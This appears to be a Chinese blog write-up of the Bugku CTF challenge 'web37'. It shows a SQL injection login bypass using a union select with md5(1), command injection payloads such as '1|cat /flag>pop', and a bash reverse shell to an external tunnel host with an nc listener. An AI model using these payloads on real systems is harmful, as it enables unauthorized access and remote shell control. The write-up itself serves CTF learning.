bugku~web37

bugku~web37
题目
出现hint:union,命令执行
打开环境
bugku~web37_第1张图片
结合hint的union,可知是要使用sql注入,随便试了一试单引号那些,发现没有任何回显,可知这是要结合union来盲注

结果用脚本按照以前的爆字段数,爆库等都行不通,这时就直接F12了(没有为什么,问就是没思路,所以就到处看看
bugku~web37_第2张图片
可以发现出现了tip,不过是加了密的,直接base64去解密就行
得到:

$sql="SELECT username,password FROM admin WHERE username='".$username."'";
if (!empty($row) && $row['password']===md5($password)){
}

仔细分析一波,再结合hint的union,不禁可以构造payload:
username=admin’ union select 1,md5(1)#
passwrod=1
这样可以绕过if的检测,从而达到执行语句的效果

点登陆后可以看到进入了一个界面
bugku~web37_第3张图片
随便输点东西,比如输1可以得到:
bugku~web37_第4张图片
可以看到在最下面有grep命令,再想到hint的命令执行,故可以直接来查询flag,一步步尝试:
先输了ls:bugku~web37_第5张图片
可以看到并没有执行命令,那应该是后台进行了过滤,或者有什么符号进行了合并,试试|进行绕过:输入1|ls
bugku~web37_第6张图片
可以发现无回显,但应该是绕过了检测的,就试试像sql二次注入的方式:二次写文件读取:

1|ls ../../../../>pop

将根目录下的文件写入到pop文件中
访问pop即可得到目录
bugku~web37_第7张图片
可以看到flag就在里面,这是继续构造:

1|cat /flag>pop

访问pop即可得到flag
bugku~web37_第8张图片
此外我还通过看大佬的wp,学到了另一种方法:即反弹shell的方式:
前提是得有外网ip,大家可以去试试,一个月的公网ip也不是特别贵,我这里已经有了,所以就直接演示了:
我外网ip映射到本地的端口为80,所以在kali里打开监听这个80端口:

nc -lvp 80

在这里插入图片描述
然后再构造bash交互,我这里是

1|bash -i >& /dev/tcp/03a1ea6816d56464.natapp.cc/5200 0>&1

(具体的反弹shell大家可以仔细去其他博主那儿学学,都讲的很详细)

然后就点击检测按钮
在这里插入图片描述
可以看到上面的是一直在转圈,这时我们去kali里看看监听的结果
bugku~web37_第9张图片
可以看到,已经监听成功,最后直接cat /flag即可拿到flag了
bugku~web37_第10张图片

希望这篇文章能帮到你哦

你可能感兴趣的:(#,bugku,安全)